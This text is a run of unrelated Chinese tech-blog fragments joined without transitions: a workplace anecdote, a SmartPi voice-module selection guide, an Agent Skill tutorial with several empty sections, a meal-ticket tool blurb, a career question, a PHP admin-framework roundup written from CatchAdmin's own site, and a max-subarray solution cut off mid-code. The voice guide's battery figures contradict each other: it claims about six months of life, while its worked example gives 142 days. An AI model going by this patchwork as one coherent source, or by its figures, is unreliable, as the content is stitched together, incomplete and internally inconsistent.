2026年2月

有个女同事之前一直脾气不算太好,我每次听到她声音时,不是和同事因为接口吵架,就是因为业务问题在拌嘴,永远皱着眉头,额头中间隐约呈现出一个“川”字形。

后来她回家生孩子去了,最近回来上班之后,我惊奇的发现她似乎变了一个人;再也没有听到她和同事争辩,和谁说话都是温温柔柔,眉头挥之不去的川字也消失不见。

如果她是解决了心中的什么事情导致心情很好,那我由衷的为她祝福;如果是生育、激素的影响,那我觉得这也太可怕了。

前言

2026 年,语音交互技术已经从简单的"命令-响应"模式,发展到融合 AI 大模型的自然对话阶段。在产品开发过程中,开发者面临着越来越多的选择:

  • 离线语音 vs 在线语音,如何平衡?
  • 传统命令词 vs AI 大模型,哪个更适合我的产品?
  • 单一功能 vs 多模态融合,产品定位如何选择?

本文基于 SmartPi 平台的完整产品矩阵,结合真实开发案例,系统性地分析 2026 年语音产品开发的技术趋势和选型策略。

一、2026 年语音产品技术趋势

1.1 三大技术路线

技术路线特点适用场景代表模组
纯离线方案无需联网,响应快,隐私安全智能家电、照明、玩具SU-03T、CI-03T、SU-13T
离在线混合离线唤醒 + 在线 AI,兼顾响应与智能智能音箱、中控屏JX-A7T、JX-17T
纯在线方案依托大模型,对话能力强教育机器人、陪护设备云端语音服务

1.2 产品形态演进

2024年以前:
┌─────────────────────────────────────┐
│ 唤醒词 → 命令词 → 固定动作           │
│ "打开台灯" → GPIO高电平 → 灯亮     │
└─────────────────────────────────────┘
​
2025年:
┌─────────────────────────────────────┐
│ 唤醒词 → 自然说 → 条件判断 → 动作    │
│ "把灯调暗一点" → 变量-10 → PWM调节  │
└─────────────────────────────────────┘
​
2026年:
┌─────────────────────────────────────┐
│ 免唤醒/声纹 → AI对话 → 多模态响应   │
│ "我回来了" → 识别用户 → 场景联动   │
└─────────────────────────────────────┘

二、产品选型决策矩阵

2.1 按应用场景选型

应用场景推荐方案核心模组关键特性
智能照明纯离线SU-03T/CI-03T低成本、快速响应
智能风扇纯离线SU-13T多档位(150 条命令)
智能中控离在线混合JX-A7T屏幕显示 +AI 对话
智能门锁低功耗离线SU-21T/SU-23T超低功耗、电池供电
教育机器人在线 AIJX-17T大模型对话能力
蓝牙音箱蓝牙 + 离线SU-63T/JX-B5C音乐 + 语音双模

2.2 按成本敏感度选型

成本敏感度排序(从低到高):
​
SU-03T < CI-03T < SU-13T < SU-21T/22T < CI-73T < SU-32T < JX-A7T < SU-63T < CI-95C < JX-17T
​
价格区间参考(仅供参考,以实际询价为准):
- ¥5以下:SU-03T系列(入门级)
- ¥5-10:CI-03T、SU-13T、SU-21T(中端)
- ¥10-20:CI-73T、SU-32T、JX-A7T(高端)
- ¥20以上:CI-95C、JX-17T(旗舰)

2.3 按功能需求选型

功能需求最少词条数推荐模组备选方案
基础开关控制10-20 条SU-03TCI-03T
多档位调节50-100 条SU-13TCI-33T
复杂场景控制100-300 条CI-73TSU-32T
声纹识别50 条 + 声纹CI-95CJX-A7T
声源定位50 条 + 定位CI-33T(带晶振)SU-32T

三、2026 年新增技术特性

3.1 免唤醒模式

传统模式

用户:"你好小美,打开台灯"
设备:检测唤醒词 → 识别命令 → 执行动作
响应时间:约1-2秒

免唤醒模式

用户:"打开台灯"
设备:直接识别命令 → 执行动作
响应时间:约0.5秒

适用场景

  • 需要快速响应的产品(如智能灯控面板)
  • 固定位置、近距离使用
  • 噪声相对较低的环境

3.2 AI 大模型集成

JX-A7T 和 JX-17T 模组支持离在线混合架构:

┌─────────────────────────────────────────────────────────┐
│                 AI大模型集成架构                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  本地处理                    云端处理                    │
│  ┌──────────┐              ┌──────────┐                │
│  │ 离线唤醒  │ ──快速────►  │ AI大模型  │                │
│  │ 离线命令  │              │ 对话理解  │                │
│  │ 常用控制  │              │ 知识库    │                │
│  └──────────┘              └──────────┘                │
│       │                          │                      │
│       └────────── 数据同步 ──────┘                      │
│                                                         │
└─────────────────────────────────────────────────────────┘

优势

  • 离线功能保证基础可用性
  • AI 能力提供更好的对话体验
  • 网络故障时降级为纯离线模式

3.3 外接屏幕支持

随着用户对可视化交互的需求增加,2026 年更多产品开始集成屏幕显示:
显示内容类型

  • 设备状态(在线/离线、音量、模式)
  • 对话内容(识别结果、回复语)
  • 传感器数据(温湿度、光照)
  • 时间日期、天气信息

技术方案

  • 小尺寸 OLED:I2C 接口,适用于 SU-32T 等模组
  • 外部 MCU 驱动:UART 通信,适用于复杂显示需求
  • 一体化模组:即将推出的带屏幕模组

四、典型产品开发案例

案例 1:智能照明产品

需求描述

  • 语音控制开关
  • 亮度调节(多档位)
  • 调光色温切换(双色温产品)
  • 手机 APP 控制

选型方案

功能模块技术选择原因
语音识别SU-03T成本低,基础控制足够
PWM 调光2 路 PWM亮度 + 色温独立控制
联网功能JX-12FWiFi+BLE 双模,支持 APP 控制
供电5V 直流市电转换

配置要点

命令词配置:
  - 打开/关闭灯:基础开关
  - 调亮/调暗:变量±10,PWM输出
  - 最亮/最暗:变量边界值
  - 暖光/冷光/白光:色温PWM切换
​
变量定义:
  - brightness: 0-100(亮度百分比)
  - colortemp: 0/1/2(色温模式)

案例 2:智能门锁产品

需求描述

  • 语音密码开锁
  • 声纹识别验证
  • 超低功耗(电池供电)
  • 离线工作

选型方案

功能模块技术选择原因
语音识别SU-23T超低功耗(1-3mA)
声纹识别CI-95C高可靠性声纹验证
供电4 节 AA 电池低功耗设计延长续航
唤醒方式语音 + 触摸双触发降低误唤醒

功耗优化策略

低功耗配置:
  - 深度休眠唤醒阈值:中
  - 进入休眠时间:5秒
  - 语音唤醒灵敏度:中
  - 触摸触发:GPIO输入(低功耗)
​
预期续航:
  - 待机电流:~2mA
  - 工作电流:~50mA(短暂)
  - 每日使用20次:约6个月续航

案例 3:智能中控屏产品

需求描述

  • 屏幕显示设备状态
  • AI 对话能力
  • 多设备联动控制
  • 离在线混合工作

选型方案

功能模块技术选择原因
语音识别JX-A7T离在线混合,AI 支持
屏幕显示外部 MCU 驱动UART 通信,复杂显示
联网功能JX-A7T 内置 WiFi支持云端控制
AI 能力智能体平台知识库 + 设备控制

系统架构

┌─────────────────────────────────────────────────────────┐
│                  中控屏系统架构                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  ┌────────────┐    UART    ┌────────────┐              │
│  │  JX-A7T    │ ◄─────────► │  屏幕MCU   │              │
│  │  语音模组   │            │  (显示驱动) │              │
│  └────────────┘            └──────┬─────┘              │
│       │                           │                     │
│       │ WiFi                    │ SPI/I2C              │
│       ▼                           ▼                     │
│  ┌────────────┐            ┌────────────┐              │
│  │  云端服务   │            │   TFT屏幕   │              │
│  │  (AI大模型) │            │   (2.4寸)   │              │
│  └────────────┘            └────────────┘              │
│                                                         │
└─────────────────────────────────────────────────────────┘

五、开发趋势与最佳实践

5.1 模块化设计理念

2026 年的产品开发越来越强调模块化:

传统开发模式:
需求 → 硬件设计 → 固件开发 → 调试 → 量产
       └────────────────┘ 一次性投入
​
模块化开发模式:
┌─────────────────────────────────────┐
│ 通用模块 + 定制化配置                 │
├─────────────────────────────────────┤
│ • 语音识别模块(标准件)             │
│ • 控制逻辑模块(平台配置)           │
│ • 业务逻辑模块(自定义)             │
│ • 外设驱动模块(标准接口)           │
└─────────────────────────────────────┘

5.2 快速原型开发

工具链选择

开发阶段推荐工具优势
概念验证Mixly 图形化编程零代码,快速验证
固件配置智能公元平台在线配置,实时生成
调试优化串口日志 + 平台调试可视化分析
量产准备固件继承 + 版本管理批量一致性

5.3 测试与验证

完整的测试流程

1. 单元测试
   ├─ 语音识别率测试(各命令词)
   ├─ 功能响应测试(GPIO/UART输出)
   └─ 稳定性测试(长时间运行)
​
2. 集成测试
   ├─ 多设备联动测试
   ├─ 网络连接测试(在线方案)
   └─ 异常恢复测试(断网重启)
​
3. 用户体验测试
   ├─ 响应时间测试
   ├─ 误唤醒率测试
   └─ 声纹识别准确率测试

六、常见问题与解决方案

Q1:纯离线方案还能满足 2026 年的用户需求吗?

A:可以,但需要明确产品定位。

  • 适用场景:单一功能产品(照明、风扇、门锁)
  • 优势:响应快、无需网络、隐私安全、成本低
  • 局限:对话能力有限,需要预先设计所有命令

建议:对于明确控制类产品,纯离线仍然是首选方案。

Q2:什么时候需要考虑 AI 大模型?

A:当产品需要以下能力时:

  • 自然语言理解(非固定命令词)
  • 多轮对话能力
  • 知识问答功能
  • 复杂推理能力

成本考虑:AI 大模型方案成本是纯离线的 2-3 倍,需要评估目标用户群体的付费意愿。

Q3:如何平衡功能丰富度和开发成本?

A:采用渐进式开发策略:

阶段1:基础版(MVP)
├─ 纯离线方案
├─ 核心功能(开关、档位)
└─ 快速上市验证市场
​
阶段2:增强版
├─ 保留离线基础
├─ 增加自然说、条件判断
└─ 提升用户体验
​
阶段3:旗舰版
├─ 离在线混合
├─ AI大模型对话
└─ 多模态交互

Q4:电池供电产品如何选择模组?

A:重点关注功耗参数:

模组待机电流唤醒电流适用场景
SU-21T/22T\~1mA\~20mA遥控器、门锁
SU-23T\~1-3mA\~30mA电池供电设备
SU-03T\~10mA\~50mA市电供电设备
JX-A7T\~55mA\~300mA需要充电的设备

续航估算公式

续航天数 = 电池容量(mAh) / (待机电流×待机时间占比 + 工作电流×工作时间占比) × 24
​
示例:4节AA电池(2000mAh×4=8000mAh)
- 待机电流:2mA
- 每日使用:20次×3秒×50mA=8.33mAh
- 每日总消耗:2mA×24h + 8.33mAh ≈ 56.33mAh
- 续航:8000/56.33 ≈ 142天

七、总结与展望

2026 年选型建议

产品类型首选方案次选方案
智能照明SU-03TCI-03T
智能风扇SU-13TCI-73T
智能门锁SU-23TSU-21T
智能中控JX-A7TSU-32T
教育机器人JX-17TJX-A7T
蓝牙音箱JX-B5CSU-63T

未来技术趋势

  1. 边缘 AI 能力增强:更多模组将内置轻量级大模型
  2. 多模态融合:语音 + 视觉 + 触控的融合交互
  3. 更低功耗:新一代芯片将功耗降低至亚毫瓦级别
  4. 标准化接口:MCP 等标准化协议促进生态互联

参考资源

素材来源:SmartPi 官方文档 + 技术交流群真实案例 + 行业趋势分析

关键词:语音产品、选型指南、技术趋势、离线语音、AI 大模型、2026 年趋势、产品开发
适用模组:SU-03T、CI-03T、SU-13T、SU-21T、SU-23T、CI-73T、SU-32T、JX-A7T、JX-17T、SU-63T、CI-95C、JX-B5C

一、为什么 Agent Skill 突然火了?

你是不是也有过这样的崩溃时刻?

  • 每次让 Claude 写代码,都要重复粘贴 请使用我们的代码规范:驼峰命名、2空格缩进、必须写单元测试 ——像极了每天入职新公司;
  • 好不容易调教好的 Prompt 换个项目就完全失效,之前的调教经验归零;
  • 团队里每个人给 AI 的指令不一样,导致输出的内容一会儿像资深架构师,一会儿像刚毕业的新手。

这些问题的根源,其实是 AI专业能力无法沉淀。直到 2025 年 10 月 Anthropic 推出 Agent Skill(又名 Claude Code Skill)正是为解决这些问题而生。这不仅是 Claude 的新功能,更是一个 开放的跨平台标准,目前已被 OpenAICursorTrae 等主流工具跟进支持。

本文将带你从 是什么怎么用在实际工作中,彻底掌握这个比 Prompt 更高级、比 MCP 更易用的 AI 编程神器。

 

二、到底什么是 Agent Skill?

用最通俗的比喻:Agent SkillAI入职手册 + 工具箱

想象你招了一位天才实习生 Claude 他智商极高但不懂你们公司的业务。传统的做法是每次布置任务都口头交代一遍 PromptAgent Skill 则是给他一本完整的标准作业程序 SOP

  • 📋 入职手册(SKILL.md):包含岗位描述、工作流程、注意事项
  • 🧰 工具箱(Scripts):处理特定任务的脚本和代码
  • 📚 参考资料(References):行业规范、模板素材、API文档

技术本质:Agent Skill 是一个标准化的文件夹结构,核心必须包含 SKILL.md 文件(YAML元数据 + Markdown说明),可选包含脚本、模板等资源文件。

my-skill/            # 技能包根目录
├── SKILL.md         # 📄 核心文件:元数据 + 工作流指令(必须)
├── scripts/         # 🔧 可选:自动化脚本(Python/Bash)
├── references/      # 📖 可选:专业文档、API手册、FAQ
└── assets/          # 🎨 可选:模板、示例、静态资源

AI 检测到相关任务时,会自动 翻开 对应的手册,严格按照既定流程执行,无需你每次都重复交代。

 

三、Skill工作原理

Skill 最精妙的设计,是它的 渐进式加载机制 —— 就像你查字典,先看目录,再翻对应章节,最后查附录,不会一上来就把整本书塞进脑子里。

3.1. 三层加载:用最少的 Token 做最多的事

加载层级内容类型加载时机作用
L1元数据(名片)Agent 启动时自动加载让AI知道“有什么技能可用”
L2说明文档(正文)匹配用户需求时加载教AI“具体怎么做”
L3资源文件(脚本 / 模板)执行中按需加载提供“工具/素材支持”

3.2. 四步执行流程

  1. 🎯 意图匹配:AI 扫描所有 Skill 的元数据,找到最匹配当前任务的技能
  2. 📖 读取指南:加载对应 SKILL.md,掌握执行步骤、检查点、输出规范
  3. 🔧 按需执行:调用 scripts/ 中的脚本,查询 references/ 中的资料
  4. ✅ 反馈结果:按模板输出成果,或询问缺失信息

 

四、现有技术的对比

4.1. Agent Skill vs Prompt

维度普通 PromptAgent Skill
性质临时指令,用完即走标准化流程,永久复用
加载方式每次全量输入按需渐进加载
稳定性依赖模型"记忆",易漂移固化检查点,强制执行
管理分散在聊天记录里文件化、版本可控
共享复制粘贴,易丢失格式整包分享,开箱即用
一句话总结:Prompt 是 口头交代,Skills 是书面 SOP + 工具箱

4.2. Agent Skill vs 多 Agent 架构

维度多 Agent 架构Agent Skill
复杂度重量级,需要架构设计轻量级,单个文件夹即可
适用场景复杂并行任务(如研究+写作+审核同时进行)单领域深度任务(如专业代码审查)
资源消耗高,需调度多个 Agent 实例低,单 Agent 内能力切换
启动成本需要搭建 Agent 框架零成本,复制文件夹即可
关系体系级解决方案单元级能力模块,可被多 Agent 调用

4.3. Agent Skill vs MCP

维度MCPAgent Skill
定位连接协议:AI 与外部系统的"USB 接口"执行标准:AI 做事的"操作手册"
解决的问题能不能连(访问数据库、API、文件系统)怎么做(流程、规范、最佳实践)
技术形态需要运行 MCP Server(TypeScript/Python)静态文件夹(Markdown + 脚本)
加载时机启动时建立连接按需渐进加载
关系互补:MCP 提供“工具”Skills 提供“使用指南”
MCP 让 AI 能连上数据库,Skill 教 AI 怎么按你们公司的规范查数据、生成报表、处理异常。两者配合,AI 才能真正成为"懂行的专家"。

 

五、创建你的第一个 Agent Skill

下面用 会议纪要整理助手 为例,从零创建一个 Skill

场景:开会录音转文字后,需要整理成结构化会议纪要。不同会议类型(周会/项目复盘/客户沟通)需要不同的整理模板。

5.1. 创建 Skill 文件夹结构

新建一个名为 meeting-minutes 的文件夹,总体的文件结构如下:

/meeting-minutes/
├── SKILL.md                    # L1:技能元数据,L2:内容
├── references/                 # L3:按会议类型按需加载
│   ├── weekly-rule.md          # 周会模板
│   ├── retro-rule.md           # 复盘模板
│   └── client-rule.md          # 客户沟通模板

5.2. SKILL.md(核心文件)

5.2.1. 元数据

SKILL.md 文件最开头以上下两个 --- 作为元数据标识

---
name: meeting-minutes
description: 办公室通用会议纪要整理助手,支持周会/项目复盘会/客户沟通会三类场景,自动识别会议类型,按需加载对应会议规则,智能提取关键信息,输出结构化纪要。
---

5.2.2. SKILL内容

5.3. 编写模块化配置references

通过文件分离,AI每次只读取当前任务所需的规则,避免 Context 污染

5.4. 测试你的 Skill(以 Trae 为例)

Trae 作为国内的 AI IDE 已原生支持 Agent Skills

  • 官网:https://www.trae.cn/
  • 下载并安装 TRAE IDE

5.4.1. 导入Skill

  1. 创建一个文件夹,例如 my_skills
  2. 使用 TRAE IDE 打开这个文件夹
  3. meeting-minutes 文件夹复制到 my_skills/.trae/skills/ 目录下

5.4.2. 输入提示词

需要切换为 SOLO 模式,然后在对话框输入以下提示词:

帮我生成周会会议纪要

原始文本:
小明:用户模块我搞完了,已经提测。
小红:接口文档我还没弄,我负责写,周五前给出来。
张三:测试环境那个问题搞不定,需要运维老陈帮忙看看。
李四:下周我打算开始订单模块,周三前出个技术方案看看。
王五:数据库设计谁review一下?
小明:我来吧,不过得明天才有空。

5.4.3. 执行Skill

5.4.4. 最终输出以下内容

 

六、本文Skill下载地址

本文案例 会议纪要整理助手 Skill 的下载地址如下:

  • Gitee地址:

https://gitee.com/zlt2000/my-agent-skill/tree/master/meeting-minutes

  • Github地址:

https://github.com/zlt2000/my-agent-skill/tree/master/meeting-minutes

在实际使用过程中本文 Skill 还可以进行以下迭代优化:

  1. references 里扩展更多的 会议类型 模板;
  2. script 文件夹写 Python 脚本,实现输出内容 导出word文档 或者 同步给飞书

 

七、总结

Agent Skills 的正式发布,标志着 AI 协作从 提示词工程 正式迈入 技能工程 的全新范式。它将人类专家的经验、标准化流程与行业最佳实践,封装成 AI 可理解、可执行、可复用的数字资产。

核心价值优势:

  1. 降本增效: 通过渐进式披露、按需加载机制,大幅减少 Token 消耗,同时让 AI 聚焦核心任务,推理效率与执行稳定性同步提升;
  2. 跨平台互通: 作为开放标准,实现 “一次构建、多端复用”,Skill 可无缝适配 Claude、Cursor、Trae、Copilot 等主流平台,打破工具壁垒;
  3. Skill 市场: 构建起类似 VS Code 插件市场的 Skill 生态,官方与社区共同打造技能商店,让专业能力可分享、可迭代、可规模化应用。

本文由mdnice多平台发布

** [应用简介] **

易饭票”是一款专为文员、办公室行政人员、学校及各类机构打造的极简票券设计工具。
从此打印饭票不再需要找文印店,只需要利用传统的打印机即可制作饭票。

针对传统排版中的痛点,彻底解决了“在 Word 里拉框子画线”以及繁琐的“邮件合并”操作。通过智能化的拼版系统和自动化工具,让您只需专注于设计,剩下的工作全部交给“易饭票”。

** [开源] **

在线演示:https://mealtkt.langhub.top/
源代码右键自取

** [为什么选择易饭票?] **

  • 告别 Word 排版苦恼: 不再需要手动绘制表格、调整边距。我们的系统支持自动计算间距、一键生成裁剪线,让排版变得像填空一样简单。
  • 内置自动化序列号: 无需复杂的邮件合并。点击“添加序列号”功能,系统可自动为您生成连续编号,轻松实现一票一号,提升票券管理效率。
  • 一键智能拼版: 您只需设计一张“母版”,通过设置行数、列数和打印总量,系统即可自动在 A4/A3 等标准纸张上进行高密度拼版,最大化利用每一张纸。

** [核心功能] **

  • 全功能编辑器: 支持普通文本、艺术环形文字、基础几何图形(矩形、圆形、星形等)及图片 Logo 上传。
  • 标准/自定义规格: 预设 A3 、A4 、A5 、16 开等多种纸张,并支持完全自定义尺寸及纵横向调整。
  • 专业层级管理: 提供图层置顶/置底、精确对齐(左对齐、居中、分布等)功能,确保设计成果整齐严谨。
  • 高清导出打印: 支持直接打印或导出为 PDF ,确保生产出的票券线条清晰、文字锐利。
  • 工程化保存: 支持导出 .fpt 工程文件,方便下次活动直接修改日期或面值重复使用。

** [适用场景] **

  • 公司/单位: 制作员工餐票、午餐券、加班饭票。
  • 活动策划: 制作入场券、抽奖券、代金券。
  • 校园/机构: 制作临时临时票据、体验课券。

[背景概述]
IT 技术岗,工作 7 年。平时都在协调、组织,写材料。“带了”几个同事干活。
但是本身是技术岗,非管理岗。以为自己主动在帮领导分忧。
一年过去了,隔壁和我类似的同事升管理岗、拿了优秀。但是我还是虚线。
领导从来不主动谈这些事情,但是隔壁的领导是主动谈并且给选择。

[疑问]
感觉干纯技术岗位更舒服,不用为“组织协调”、和很多人打交道费尽心思。
在通向所谓“技术管理”岗位上,反而留给自己的时间更少,技术难以沉淀,都在帮组织解决问题、帮同事解决问题、尝试让同事更强,反而自己技术成长有限。
另外,管理岗是不是更不好跳槽?技术岗相对更容易跳槽?

大家有遇到类似的情况吗,怎么看待职场这样的变化?

2026 年最值得使用的 7 款 PHP 管理后台框架推荐

搭建企业级 PHP 后台管理系统,选择一款合适的 Laravel admin 框架至关重要。PHP 作为 Web 开发领域最成熟的语言之一,拥有众多优秀的后台管理框架。Laravel 框架凭借优雅的语法和完善的生态,已成为 GitHub 上 stars 最高的 PHP 框架,围绕它诞生了大量优质的 PHP 后台框架。

本文将从开发效率、灵活性、学习成本三个维度,为你推荐 2026 年最值得使用的 7 款 PHP admin 后台管理系统。无论你是需要快速搭建企业后台、开发 SaaS 平台,还是构建电商管理系统,都能找到适合的 Laravel 后台管理解决方案。

PHP 后台管理框架选型指南

在选择 PHP 管理后台框架之前,需要先明确项目需求。不同类型的 Laravel admin 框架适用于不同场景,选错框架可能导致后期开发成本大幅增加。下面按抽象程度从低到高,介绍三种主流的 PHP 后台框架类型:

脚手架型

脚手架型框架通过命令行自动生成 Model、Controller、路由和基础 CRUD 代码。优势是灵活性高,生成的代码完全可控;劣势是后期维护需要手动修改生成的代码。

CRUD 接口型

CRUD 接口型框架提供一套完整的后台管理组件,开发者只需定义资源配置即可自动生成管理界面。代码量相对较少,但遇到复杂业务逻辑时需要额外扩展。本文推荐的 Laravel Nova、CatchAdmin、Filament、Backpack、Orchid 都属于这种类型。这类 PHP 后台管理系统在灵活性和开发效率之间取得了良好平衡,是目前最主流的选择。

可视化编程

可视化编程型框架抽象程度最高,通过拖拽或配置即可生成后台界面。部署快速,对编程能力要求较低,但灵活性也相对受限。Voyager 和 QuickAdminPanel 属于这种类型。

2026 年 7 款 PHP 后台管理框架详解

以下按推荐顺序介绍 7 款主流的 Laravel admin 后台管理框架,涵盖付费和开源方案,适用于从个人项目到企业级应用的各种场景。

Laravel Nova - 官方出品的标杆之作

Laravel Nova 是 Laravel 框架作者 Taylor Otwell 亲自打造的官方后台管理系统。作为官方产品,Nova 在架构设计和性能优化上都达到了极高水准。

Nova 采用 Vue.js 构建前端,提供了资源管理、搜索过滤、图表统计、自定义操作等开箱即用的功能。扩展生态非常完善,几乎每天都有新的扩展包在 Nova Packages 上线。

优势:

  • 官方维护,更新及时,与 Laravel 版本同步
  • 性能优化到极致,大数据量下表现稳定
  • 扩展生态丰富,覆盖各种业务场景

劣势:

  • 付费产品,小团队可能有成本压力
  • 源码不开放,深度定制受限

适用场景: 商业项目、对稳定性要求高的企业级应用。

CatchAdmin - 企业级前后端分离方案

CatchAdmin 是一款基于 Laravel 12.x 和 Vue 3 + Element Plus 的企业级前后端分离后台管理系统。它充分利用 PHP 8+ 特性,采用现代化架构设计,是目前最受欢迎的开源 Laravel admin 框架之一。

对于需要搭建企业级 PHP 后台管理系统的团队来说,CatchAdmin 提供了开箱即用的完整解决方案。它不仅仅是一个 Laravel 后台框架,更是一套经过生产验证的企业级开发脚手架。

CatchAdmin 的核心优势在于模块化设计。每个业务模块拥有独立的控制器、路由、模型和数据表,模块之间完全解耦。这种架构让团队可以并行开发不同模块,后期维护也更加轻松。

核心功能
  • 用户管理: 用户增删改查、密码重置、不同用户可配置不同首页和功能模块
  • 部门管理: 多级组织架构配置,树形结构展示,支持层级调整
  • 角色权限: 树结构角色体系,支持菜单权限、按钮级权限、数据权限三级管控
  • 菜单管理: 可视化配置系统菜单、路由与按钮资源,前后端权限一致
  • 代码生成: 一键生成前后端代码(PHP、Vue)及数据库迁移文件,直接生成到模块
  • 文件上传: 支持本地、七牛云、阿里云、腾讯云等多种存储方式
  • 日志系统: 操作日志、登录日志完整记录,支持多维检索
  • 插件系统: 插件即 Composer 包,深度融入 Composer 生态
# 快速安装,五分钟即可构建
composer create catchadmin/catchadmin
cd catchadmin
php artisan catch:install

CatchAdmin 还支持 Vue 即时渲染,前端代码修改后无需编译即可生效,大幅提升开发调试效率。

优势:

  • 现代化架构,基于 Laravel 12.x + Vue 3 + Element Plus
  • 模块化设计,业务模块完全独立,支持按需加载
  • 一键代码生成,前后端代码 + 数据库迁移一步到位
  • RBAC 权限系统完善,支持部门数据隔离和 API 接口权限验证
  • 中文文档详尽,社区活跃,持续更新

劣势:

  • 需要同时掌握 Vue 和 Laravel
  • 专业版部分高级功能需付费

适用场景: 企业后台管理、SaaS 平台、电商后台、CRM/OA 等企业应用、中大型项目。

Filament - 社区最火的后起之秀

Filament 是 2021 年发布的 Laravel admin 框架,近两年在社区的热度持续攀升,已成为 Laravel 生态中最受欢迎的开源后台框架之一。

Filament 基于 Livewire 和 Alpine.js 构建,采用 Tailwind CSS 设计。它不仅仅是一个后台管理框架,还包含表单构建器、表格构建器、通知系统等独立组件,可以单独使用。

// Filament 资源定义示例
use Filament\Resources\Resource;

class PostResource extends Resource
{
    protected static ?string $model = Post::class;

    public static function form(Form $form): Form
    {
        return $form->schema([
            TextInput::make('title')->required(),
            RichEditor::make('content'),
            Select::make('status')->options([
                'draft' => '草稿',
                'published' => '已发布',
            ]),
        ]);
    }
}

优势:

  • 完全开源,社区贡献活跃
  • 基于 Livewire,无需编写 JavaScript
  • 组件丰富,UI 设计现代
  • 文档详尽,学习曲线平缓

劣势:

  • Livewire 机制对实时性要求高的场景可能不适用
  • 相比 Nova,生态成熟度稍逊

适用场景: 开源项目、个人项目、中小型企业项目。

Backpack - 灵活与效率的平衡

Backpack 自 2016 年发布以来,一直保持稳定更新。它提供了一套完整的 CRUD 组件和丰富的字段类型,同时还有可视化开发工具 Backpack DevTools。

Backpack 的文档写得非常详尽,配有视频教程,学习成本较低。它的设计哲学是「约定优于配置」,大部分场景下只需简单配置即可完成开发。

优势:

  • 文档优秀,有视频教程
  • 字段类型丰富,覆盖常见需求
  • DevTools 支持可视化开发
  • 主题可定制

劣势:

  • 商业项目需要付费
  • 前端基于 jQuery,技术栈相对传统

适用场景: 快速原型开发、对文档要求高的团队。

Orchid - 开源社区的优秀选择

Orchid 由俄罗斯开发者 Alexandr Chernyaev 创建,是一个功能完善的 Laravel 后台管理框架。它内置了表单构建器、表格过滤器、排序、搜索等功能,细节处理得非常到位。

Orchid 的亮点在于它的 Screen 概念,将页面逻辑封装在 Screen 类中,代码组织清晰。同时,Orchid 拥有活跃的开源社区和大量的赞助者,保证了项目的持续发展。

// Orchid Screen 示例
use Orchid\Screen\Screen;

class PostListScreen extends Screen
{
    public function query(): array
    {
        return [
            'posts' => Post::paginate(),
        ];
    }

    public function layout(): array
    {
        return [
            PostListLayout::class,
        ];
    }
}

优势:

  • 完全开源,社区活跃
  • Screen 架构清晰,便于维护
  • 权限系统完善
  • 支持多语言

劣势:

  • 学习曲线相对较陡
  • 中文资源较少

适用场景: 开源项目、需要精细权限控制的系统。

Voyager - 可视化管理的先驱

Voyager 与其他 Laravel admin 有所不同,它可以根据数据库表自动创建 BREAD(Browse、Read、Edit、Add、Delete)界面,无需编写代码。

Voyager 内置了媒体管理器,支持在 UI 层面管理文件。菜单构建器让你可以直接在页面上拖拽管理菜单结构。对于需要快速搭建后台的项目,Voyager 是一个不错的选择。

优势:

  • 可视化配置,上手快
  • 内置媒体管理器
  • 菜单构建器直观易用
  • 社区成熟,文档清晰

劣势:

  • 灵活性受限,复杂业务场景难以满足
  • 前端基于 Blade,定制成本较高

适用场景: 快速原型、内容管理系统、对灵活性要求不高的项目。

QuickAdminPanel - 在线生成定制代码

QuickAdminPanel 的理念就是「快」。整个开发流程在线完成:在官网配置 admin 面板,选择需要的模块,点击下载,获得定制代码,部署到服务器。

这种模式特别适合需求明确、不需要太多灵活性的项目。生成的代码基于 Laravel 标准结构,后期也可以手动修改。

优势:

  • 在线配置,无需本地环境
  • 生成的代码规范,可二次开发
  • 模块丰富,覆盖常见需求

劣势:

  • 付费订阅模式
  • 复杂逻辑需要手动编写

适用场景: 快速启动项目、外包项目、MVP 开发。

PHP 管理后台框架对比

以下表格从价格、技术栈、学习曲线、灵活性、前后端分离五个维度对比 7 款 Laravel admin 后台管理框架:

框架价格技术栈学习曲线灵活性前后端分离
Laravel Nova$99-$299Vue.js
CatchAdmin免费Vue 3 + Element Plus
Filament免费Livewire + Alpine.js中高
Backpack€69+jQuery + Bootstrap
Orchid免费Laravel Blade中高
Voyager免费Laravel Blade
QuickAdminPanel$199/年Laravel 标准

从表格可以看出,如果你需要一款免费、前后端分离、灵活性高的 PHP 后台管理框架,CatchAdmin 是为数不多同时满足这三个条件的选择。

如何选择合适的 PHP 后台管理框架

选择 Laravel admin 后台管理框架需要综合考虑项目规模、团队技术栈、预算等因素:

  • 追求官方稳定和生态: Laravel Nova 是首选,但需要付费
  • 需要前后端分离架构: CatchAdmin 提供了完整的 Vue 3 + Laravel 解决方案,且核心功能免费开源
  • 纯后端开发者: Filament 基于 Livewire,无需编写前端代码
  • 快速原型开发: Voyager 或 QuickAdminPanel 可以快速启动
  • 精细权限控制: Orchid 和 CatchAdmin 都提供了完善的 RBAC 权限系统

无论选择哪个 Laravel 后台框架,建议先在小项目中试用,评估是否符合团队的开发习惯和项目需求。
[原文 2026 年最值得使用的 7 款 PHP 管理后台框架推荐
](https://catchadmin.com/post/2026-02/php-admin-panel-2026)

题⽬描述

输⼊⼀个⻓度为n 的整型数组array ,数组中的⼀个或连续多个整数组成⼀个⼦数组,找到⼀个具有
最⼤和的连续⼦数组。

  1. ⼦数组是连续的,⽐如[1,3,5,7,9] 的⼦数组有[1,3] , [3,5,7] 等等,但是[1,3,7] 不是⼦数组
  2. 如果存在多个最⼤和的连续⼦数组,那么返回其中⻓度最⻓的,该题数据保证这个最⻓的只存在⼀个
  3. 该题定义的⼦数组的最⼩⻓度为1 ,不存在为空的⼦数组,即不存在[]是某个数组的⼦数组
  4. 返回的数组不计⼊空间复杂度计算

示例 1
输⼊:[1,-2,3,10,-4,7,2,-5]
返回值:[3,10,-4,7,2]
说明:经分析可知,输⼊数组的⼦数组[3,10,-4,7,2]可以求得最⼤和为18,故返回[3,10,-4,7,2]

示例 2
输⼊:[1]
返回值:[1]

思路及解答

暴力枚举

通过三重循环枚举所有可能的子数组,使用三重循环枚举所有可能的子数组起始和结束位置,计算每个子数组的和

public class Solution {
    public int[] findMaxSubarray(int[] array) {
        if (array == null || array.length == 0) {
            return new int[0];
        }
        
        int n = array.length;
        int maxSum = Integer.MIN_VALUE;
        int start = 0, end = 0;
        
        // 第一重循环:子数组起始位置
        for (int i = 0; i < n; i++) {
            // 第二重循环:子数组结束位置
            for (int j = i; j < n; j++) {
                int currentSum = 0;
                // 第三重循环:计算子数组和
